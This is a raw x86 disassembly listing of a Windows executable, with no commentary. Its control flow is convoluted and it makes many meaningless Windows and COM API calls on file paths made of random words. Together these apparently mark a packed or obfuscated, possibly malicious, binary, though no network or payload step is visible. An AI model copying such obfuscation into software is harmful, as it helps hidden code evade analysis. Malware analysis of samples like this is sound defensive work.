mov dword [ebp - 0x1f68], eax
call fcn.00511170
jmp 0x4080ba
mov ecx, dword [ebp - 0x10f2c]
mov edx, dword [ebp - 0x117c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x10f2c]
mov dword [ecx], eax
jmp 0x4080ec
push 0xd0
lea edx, [ebp - 0x2d30]
push edx
lea eax, [ebp - 0x133ac]
push eax
lea ecx, [ebp - 0x13754]
push ecx
push str.C:Horsefly_truncationsCockyExclusivist
push str.C:dwellingsplagiarisehaggardBroachedIambus
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
mov dword [ebp - 0xd638], eax
jmp 0x4081b5
mov edx, dword [ebp - 0x11b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xd1e4]
add eax, dword [ecx]
mov dword [ebp - 0x67dc], eax
mov edx, dword [ebp - 0x7208]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8870]
add eax, dword [ecx]
mov edx, dword [ebp - 0xc2a0]
mov dword [edx], eax
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xd1e4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x11b8]
mov edx, dword [eax]
xor edx, dword [ebp - 0x12a4c]
cmp ecx, edx
jne 0x408187
lea eax, [ebp - 0x14e8]
push eax
lea ecx, [ebp - 0x11ecc]
push ecx
lea edx, [ebp - 0x21d4]
push edx
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0xd638], eax
movzx eax, word [0x51b004]
push eax
movzx ecx, word [ebp - 0x24c4]
push ecx
mov edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0xc2a0]
mov ecx, dword [eax]
call fcn.00511630
jmp 0x4081b5
mov edx, dword [ebp - 0x8620]
mov ecx, dword [ebp - 0xa850]
shl edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xb3c1]
and edx, eax
mov byte [0x51b006], dl
movzx ecx, word [0x51cbdc]
movzx edx, word [ebp - 0xd434]
sub ecx, edx
mov eax, dword [ebp - 0x4888]
mov word [eax], cx
mov ecx, dword [ebp - 0x12a4c]
add ecx, dword [ebp - 0x115a4]
mov edx, dword [ebp - 0x8c8c]
mov dword [edx], ecx
lea eax, [ebp - 0xa850]
mov dword [ebp - 0xb388], eax
lea ecx, [ebp - 0x24c4]
mov dword [ebp - 0xfbd4], ecx
mov edx, dword [ebp - 0xd4bc]
sub edx, dword [ebp - 0x67dc]
mov eax, dword [ebp - 0xf424]
mov ecx, dword [ebp - 0x12a4c]
add ecx, dword [eax]
cmp edx, ecx
je 0x408275
push 8
push str.nit_Unpacks
lea edx, [ebp - 0x9468]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov dword [ebp - 0x7c88], eax
movsx eax, byte [ebp - 0xb7e]
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x121f0]
mov byte [ecx], al
mov edx, dword [ebp - 0x58f8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1814]
sub eax, ecx
mov word [ebp - 0x119a8], ax
movzx edx, byte [0x51b006]
push edx
call fcn.00511710
add esp, 4
mov eax, dword [ebp - 0xb7d0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x125c9]
sub ecx, edx
mov eax, dword [ebp - 0x9ac4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
mov dword [ebp - 0x14d30], edx
cmp dword [ebp - 0x14d30], 0
je 0x4082ab
jmp 0x408379
lea eax, [ebp - 0x96a4]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [section..data]
add ecx, dword [ebp - 0x10df0]
mov dword [0x51b00c], ecx
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
add eax, dword [ebp - 0x10df0]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x58f8]
movzx edx, word [ecx]
mov dword [ebp - 0x14d34], edx
cmp dword [ebp - 0x14d34], 0x47e
je 0x40835c
cmp dword [ebp - 0x14d34], 0x987
je 0x408306
jmp 0x408374
lea eax, [ebp - 0xd4f0]
push eax
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x117d0], eax
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0x1d0]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0xf424]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
mov ecx, dword [0x51de40]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x3e58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8870]
mov ecx, dword [ecx]
call fcn.00511630
jmp 0x408374
mov edx, dword [ebp - 0xc2a0]
mov eax, dword [ebp - 0x6974]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x8620], edx
jmp 0x408404
mov eax, dword [ebp - 0x4c80]
mov cl, byte [eax]
mov byte [ebp - 0x14d38], cl
cmp byte [ebp - 0x14d38], 0x73
je 0x408392
jmp 0x4083d7
mov edx, dword [0x51dafc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x58f8]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x2548]
mov word [ecx], ax
movzx edx, word [ebp - 0x84e8]
push edx
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x49b0]
mov dx, word [edx]
mov ecx, dword [ebp - 0x96a4]
call fcn.00511530
jmp 0x408404
lea eax, [ebp - 0x1130c]
push eax
lea ecx, [ebp - 0x1d0]
push ecx
push 0x86
lea edx, [ebp - 0xe86c]
push edx
mov eax, dword [ebp - 0xc42c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [ebp - 0x98d8], eax
mov ecx, dword [ebp - 0x7208]
mov edx, dword [ecx]
mov dword [ebp - 0x14d3c], edx
cmp dword [ebp - 0x14d3c], 0x53800736
je 0x408423
jmp 0x40850a
mov al, byte [ebp - 0x13b75]
mov byte [ebp - 0x14d40], al
cmp byte [ebp - 0x14d40], 0x98
je 0x40843d
jmp 0x4084ee
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xb7d0]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x8b68]
mov byte [ecx], dl
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
and eax, dword [ebp - 0xa850]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x8620]
mov dword [ebp - 0x14d44], ecx
cmp dword [ebp - 0x14d44], 0x4ec43044
je 0x408493
cmp dword [ebp - 0x14d44], 0x5c59f86c
je 0x4084d3
jmp 0x4084ec
mov edx, dword [ebp - 0x115a4]
add edx, dword [ebp - 0x8850]
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x71a8]
sub ecx, dword [ebp - 0xa850]
mov dword [ebp - 0x10df0], ecx
lea edx, [ebp - 0x71a8]
push edx
call dword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [ebp - 0xa51c], eax
call fcn.00511170
jmp 0x4084ec
movsx eax, word [ebp - 0x24c4]
movsx ecx, word [ebp - 0x84e8]
add eax, ecx
mov edx, dword [0x51de40]
mov word [edx], ax
jmp 0x408508
lea eax, [ebp - 0xc50c]
push eax
lea ecx, [ebp - 0x3954]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0x189c], eax
jmp 0x408552
lea edx, [ebp - 0x119a8]
mov dword [ebp - 0x31d4], edx
mov eax, dword [ebp - 0xb7d0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4961]
sub ecx, edx
mov eax, dword [ebp - 0x8b68]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x8bbd]
movsx edx, byte [ebp - 0xfc89]
sub ecx, edx
mov byte [ebp - 0xb7e], cl
lea eax, [ebp - 0x24c4]
mov dword [ebp - 0x13828], eax
mov ecx, dword [ebp - 0x11b8]
mov edx, dword [ecx]
mov dword [ebp - 0x14d48], edx
cmp dword [ebp - 0x14d48], 0
je 0x40856e
jmp 0x51000e
mov eax, dword [ebp - 0xf458]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2548]
mov word [edx], cx
mov al, byte [0x51ce07]
mov byte [ebp - 0x14d4c], al
cmp byte [ebp - 0x14d4c], 0x22
je 0x4085a1
jmp 0x40860a
push 0x72
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [ebp - 0x11420], eax
mov ecx, dword [ebp - 0x10f2c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x117c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8870]
mov dword [ecx], edx
mov edx, dword [ebp - 0x8870]
mov eax, dword [ebp - 0xa850]
and eax, dword [edx]
mov dword [ebp - 0x8620], eax
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ebp - 0xedd4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [0x51b008]
xor eax, dword [edx]
mov dword [0x51b00c], eax
jmp 0x50fff1
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
mov dword [ebp - 0x14d50], edx
cmp dword [ebp - 0x14d50], 0xcaa
je 0x408655
cmp dword [ebp - 0x14d50], 0xf50
je 0x408633
jmp 0x40867c
lea eax, [ebp - 0x84fc]
push eax
lea ecx, [ebp - 0x1023c]
push ecx
lea edx, [ebp - 0xdc88]
push edx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x8850], eax
jmp 0x40867c
movzx eax, word [ebp - 0x84e8]
push eax
mov ecx, dword [0x51de40]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x3e58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xad30]
mov ecx, dword [ecx]
call fcn.00511630
mov edx, dword [ebp - 0x13718]
mov dword [ebp - 0xc74c], edx
movzx eax, word [ebp - 0x119a8]
mov dword [ebp - 0x14d54], eax
cmp dword [ebp - 0x14d54], 0
je 0x4086b3
cmp dword [ebp - 0x14d54], 0xb7d
je 0x408811
jmp 0x40883e
movzx edx, word [ebp - 0x1814]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
shl edx, cl
movzx eax, word [ebp - 0xd434]
movzx ecx, word [ebp - 0x119a8]
sar eax, cl
cmp edx, eax
jl 0x4087d5
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xb7e]
and edx, eax
movsx ecx, byte [ebp - 0xfc89]
mov eax, dword [ebp - 0x4e3c]
movsx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
jl 0x4087a5
movsx eax, word [ebp - 0x24c4]
movsx ecx, word [ebp - 0x84e8]
or eax, ecx
mov edx, dword [0x51de40]
movsx ecx, word [edx]
movsx edx, word [ebp - 0xcc5c]
sub ecx, edx
cmp eax, ecx
jle 0x40880f
movzx edx, byte [ebp - 0x2461]
movzx eax, byte [ebp - 0x4961]
xor edx, eax
mov ecx, dword [ebp - 0xb7d0]
mov byte [ecx], dl
push 0x2a
push 0x32
call dword [sym.imp.ole32.dll_CoCancelCall]
mov dword [ebp - 0x117d0], eax
call fcn.00511170
lea edx, [ebp - 0x119a8]
mov dword [0x51cdb4], edx
movzx eax, byte [ebp - 0x4961]
mov ecx, dword [ebp - 0x10f18]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x4134]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x125c9]
add ecx, edx
cmp eax, ecx
jge 0x408909
movzx ecx, byte [ebp - 0x3b89]
movzx edx, byte [ebp - 0x13b75]
sub ecx, edx
mov eax, dword [ebp - 0xb7d0]
mov byte [eax], cl
jmp 0x5101a9
mov ecx, dword [ebp - 0x58f8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x31d4]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x4888]
movzx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jl 0x51016d
mov ecx, dword [ebp - 0x308c]
mov dl, byte [ecx]
mov byte [ebp - 0x14df8], dl
cmp byte [ebp - 0x14df8], 0x67
je 0x510067
cmp byte [ebp - 0x14df8], 0x85
je 0x510153
jmp 0x51016b
movzx eax, word [0x51cbdc]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0xf458]
mov word [ecx], ax
mov edx, dword [ebp - 0x4134]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xb3c1]
or eax, ecx
mov byte [ebp - 0x3b89], al
mov edx, dword [ebp - 0x390]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [ebp - 0xb78], eax
movsx eax, word [ebp - 0x24c4]
mov dword [ebp - 0x14dfc], eax
cmp dword [ebp - 0x14dfc], 0x205d
je 0x5100d4
cmp dword [ebp - 0x14dfc], 0x30d3
je 0x51012e
jmp 0x510151
movsx ecx, word [ebp - 0x24c4]
mov edx, dword [ebp - 0x49b0]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [0x51de40]
mov word [edx], cx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10f2c]
add ecx, dword [edx]
mov dword [ebp - 0x71a8], ecx
mov eax, dword [ebp - 0xfbd4]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xbd00]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0x7208]
mov ecx, dword [ecx]
call fcn.00511630
jmp 0x510151
lea edx, [ebp - 0xc1c8]
push edx
lea eax, [ebp - 0xd434]
push eax
push 0x13
push 0xa7
push 0x62
call dword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [ebp - 0xaec4], eax
jmp 0x51016b
mov ecx, dword [ebp - 0xb388]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc2a0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x7208]
mov dword [ecx], edx
jmp 0x5101a9
mov edx, dword [ebp - 0xf26c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x8bbd]
sar eax, cl
movsx edx, byte [ebp - 0xb7e]
mov ecx, dword [ebp - 0x4e3c]
movsx ecx, byte [ecx]
shl edx, cl
cmp eax, edx
jne 0x5101a9
mov edx, dword [ebp - 0x11b8]
mov eax, dword [ebp - 0x67dc]
add eax, dword [edx]
mov dword [ebp - 0x96a4], eax
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0x8850]
and edx, dword [ecx]
mov dword [ebp - 0x115a4], edx
mov eax, dword [ebp - 0x117c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb388]
add ecx, dword [edx]
mov eax, dword [ebp - 0x7208]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x13828]
push ecx
call dword [sym.imp.ole32.dll_OleGetIconOfFile]
mov dword [ebp - 0x956c], eax
movzx edx, word [0x51b004]
push edx
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0xa850]
call fcn.00511630
jmp 0x510229
mov edx, dword [ebp - 0x121f0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xfc89]
and eax, ecx
mov edx, dword [ebp - 0xf26c]
mov byte [edx], al
push 0xea
mov eax, dword [ebp - 0xfe7c]
push eax
push 0xc3
push 1
lea ecx, [ebp - 0x7860]
push ecx
push 0x3c
push 0xf8
lea edx, [ebp - 0xd434]
push edx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x189c], eax
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov dword [ebp - 0x14e00], ecx
cmp dword [ebp - 0x14e00], 0x247cb19
je 0x510279
jmp 0x5102a5
mov edx, dword [ebp - 0x117c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10df0]
shl eax, cl
mov ecx, dword [ebp - 0x10f2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10f18]
movzx eax, byte [edx]
push eax
call fcn.00511710
add esp, 4
jmp 0x5102be
lea ecx, [ebp - 0x49b0]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x31bc], eax
mov edx, dword [ebp - 0x4134]
mov al, byte [edx]
mov byte [ebp - 0x14e04], al
cmp byte [ebp - 0x14e04], 0x14
je 0x5102ef
jmp 0x5103b0
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x8bbd]
add edx, eax
mov ecx, dword [ebp - 0x4e3c]
movsx eax, byte [ecx]
mov ecx, dword [ebp - 0x121f0]
movsx ecx, byte [ecx]
and eax, ecx
cmp edx, eax
jl 0x510397
mov edx, dword [ebp - 0x10f2c]
mov eax, dword [ebp - 0x117c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x8870]
mov dword [edx], ecx
lea eax, [ebp - 0x6974]
push eax
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x1f68], eax
mov ecx, dword [ebp - 0x7208]
mov edx, dword [ebp - 0x8620]
sub edx, dword [ecx]
mov dword [ebp - 0x10df0], edx
mov eax, dword [0x51dafc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
add ecx, edx
mov eax, dword [ebp - 0x58f8]
mov word [eax], cx
push 1
lea ecx, [ebp - 0xb7d0]
push ecx
lea edx, [ebp - 0x54c8]
push edx
lea eax, [ebp - 0xbd00]
push eax
call dword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [ebp - 0x117d0], eax
jmp 0x5103ae
movzx ecx, byte [ebp - 0xb3c1]
movzx edx, byte [ebp - 0x3b89]
sub ecx, edx
mov eax, dword [0x51e248]
mov byte [eax], cl
jmp 0x5103c4
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xf22c]
mov dword [ebp - 0xd4bc], edx
mov eax, dword [ebp - 0xf22c]
add eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xe6fc]
mov dword [ebp - 0x14e08], edx
cmp dword [ebp - 0x14e08], 0x754
je 0x5103f3
jmp 0x510421
push 0xf8
lea eax, [ebp - 0xe86c]
push eax
push 0xee
lea ecx, [ebp - 0x3cc4]
push ecx
push 0xe2
push str.C:TotemicResplendent_annalsMincemeat
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 0x14ae0], eax
mov edx, dword [0x51dafc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xd434], ax
movzx eax, byte [ebp - 0xfaa1]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1814]
push ecx
mov edx, dword [ebp - 0xbd00]
mov dx, word [edx]
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [eax]
call fcn.00511530
jmp 0x51053e
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [ebp - 0x13718]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x8620]
sub eax, dword [edx]
cmp ecx, eax
je 0x51053e
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3b89]
add edx, eax
mov ecx, dword [0x51c7c4]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x8b68]
movzx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jne 0x51053e
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xf424]
add eax, dword [ecx]
mov dword [ebp - 0x8850], eax
push 0
push 0
lea edx, [ebp - 0x119a8]
push edx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0x31bc], eax
mov eax, dword [ebp - 0x71a8]
and eax, dword [0x51b008]
mov ecx, dword [ebp - 0x10f2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc2a0]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x8620], ecx
lea edx, [ebp - 0x54c8]
push edx
push str.Munch_prefixes
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x11f2c], eax
push 1
mov eax, dword [ebp - 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
mov dword [ebp - 0x2d30], eax
movzx ecx, byte [ebp - 0x125c9]
mov edx, dword [ebp - 0x10f18]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [0x51e248]
mov byte [edx], cl
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x58f8]
mov word [edx], cx
movzx eax, byte [ebp - 0xb3c1]
mov ecx, dword [ebp - 0xb7d0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x125c9], al
mov eax, dword [ebp - 0xd4bc]
and eax, dword [ebp - 0x67dc]
mov ecx, dword [ebp - 0x11b8]
mov dword [ecx], eax
jmp 0x51062f
movsx edx, word [ebp - 0xcc5c]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x49b0]
movsx eax, word [ecx]
movsx ecx, word [ebp - 0x84e8]
xor eax, ecx
cmp edx, eax
jge 0x51062f
movsx edx, byte [ebp - 0xfc89]
mov eax, dword [ebp - 0x4e3c]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xf26c]
mov byte [eax], dl
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x49b0]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xcc5c], dx
lea edx, [ebp - 0x21d4]
push edx
lea eax, [ebp - 0x308c]
push eax
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0xf374], eax
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ebp - 0xf424]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8850]
cmp eax, edx
jb 0x51068f
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xd434], cx
movzx ecx, word [ebp - 0xcc5c]
push ecx
movzx edx, word [ebp - 0x84e8]
push edx
mov eax, dword [ebp - 0x3e58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8620]
call fcn.00511630
jmp 0x5106e4
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x8850], eax
mov ecx, dword [ebp - 0x71a8]
sub ecx, dword [ebp - 0x13718]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
call dword [sym.imp.ole32.dll_CoTestCancel]
mov dword [ebp - 0xc698], eax
mov eax, dword [ebp - 0x58f8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x51dafc]
mov word [edx], cx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [ebp - 0xad30]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x8850]
push edx
mov eax, dword [ebp - 0x12a4c]
push eax
call fcn.005116a0
jmp 0x510749
movzx ecx, word [ebp - 0x24c4]
push ecx
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0x3e58]
mov ecx, dword [ecx]
call fcn.00511630
push 0
lea edx, [ebp - 0x9f98]
push edx
push 0x6b
push str.C:FreakydeputiseIdentifyinginternationalised
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [ebp - 0xd4bc], eax
movzx eax, byte [ebp - 0xb3c1]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x8b68]
mov byte [ecx], al
mov edx, dword [ebp - 0x71a8]
sub edx, dword [ebp - 0x10df0]
mov dword [ebp - 0x13718], edx
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x8c8c]
add ecx, dword [edx]
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0xad30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
add eax, dword [ecx]
mov dword [ebp - 0xa850], eax
jmp 0x5107ed
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
and eax, dword [ebp - 0x10df0]
mov dword [ebp - 0x13718], eax
lea ecx, [ebp - 0x1130c]
push ecx
lea edx, [ebp - 0x126f8]
push edx
lea eax, [ebp - 0xd348]
push eax
push 0x42
lea ecx, [ebp - 0xc1ec]
push ecx
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x7860], eax
mov edx, dword [ebp - 0xf424]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x67dc]
shr eax, cl
mov ecx, dword [ebp - 0xf424]
mov dword [ecx], eax
jmp 0x51087b
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
sub eax, dword [ebp - 0x13718]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49b0]
movsx eax, word [edx]
mov dword [ebp - 0x14e0c], eax
cmp dword [ebp - 0x14e0c], 0x6758
je 0x510864
jmp 0x510876
mov ecx, dword [ebp - 0xf22c]
add ecx, dword [ebp - 0x115a4]
mov dword [ebp - 0x67dc], ecx
call fcn.00511170
mov edx, dword [ebp - 0x71a8]
mov dword [ebp - 0x14e10], edx
cmp dword [ebp - 0x14e10], 0xc14d5ab
je 0x510895
jmp 0x510897
jmp 0x5108b9
lea eax, [ebp - 0x9468]
push eax
push 0x97
push str.designed_unshackled_snippets_Vacillation
push str.C:MenusSuperfamily
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 0xf22c], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x71a8]
add edx, dword [ecx]
mov dword [ebp - 0x10df0], edx
lea eax, [ebp - 0x13754]
push eax
lea ecx, [ebp - 0x1130c]
push ecx
lea edx, [ebp - 0x60d0]
push edx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x12a4c], eax
movzx eax, byte [ebp - 0x125c9]
movzx ecx, byte [ebp - 0xb3c1]
and eax, ecx
mov edx, dword [ebp - 0x8b68]
mov byte [edx], al
mov eax, dword [ebp - 0x58f8]
movzx ecx, word [eax]
movzx edx, word [0x51d910]
add ecx, edx
mov word [ebp - 0xe6fc], cx
mov eax, dword [ebp - 0x49b0]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x24c4]
push edx
mov eax, dword [ebp - 0xad30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x10df0]
call fcn.00511630
jmp 0x5109f3
movzx ecx, word [ebp - 0xd434]
mov dword [ebp - 0x14e14], ecx
cmp dword [ebp - 0x14e14], 0xc0b
je 0x510963
jmp 0x510989
lea edx, [ebp - 0x49b0]
push edx
lea eax, [ebp - 0x9f98]
push eax
push 0xab
mov ecx, dword [ebp - 0xe86c]
push ecx
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0xb0d4], eax
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [edx]
add eax, dword [ebp - 0x8850]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3b89]
movzx eax, byte [ebp - 0x125c9]
add edx, eax
mov byte [ebp - 0xb3c1], dl
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x119a8]
and edx, eax
mov ecx, dword [ebp - 0x2548]
mov word [ecx], dx
movzx edx, word [ebp - 0xcc5c]
push edx
movzx eax, word [ebp - 0xcc5c]
push eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
mov ecx, dword [section..data]
call fcn.00511630
mov edx, dword [ebp - 0x67dc]
mov dword [ebp - 0x14e18], edx
cmp dword [ebp - 0x14e18], 0xafe0a58a
je 0x510a0f
jmp 0x510a1d
push 0x34
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x117d0], eax
mov eax, dword [ebp - 0x96a4]
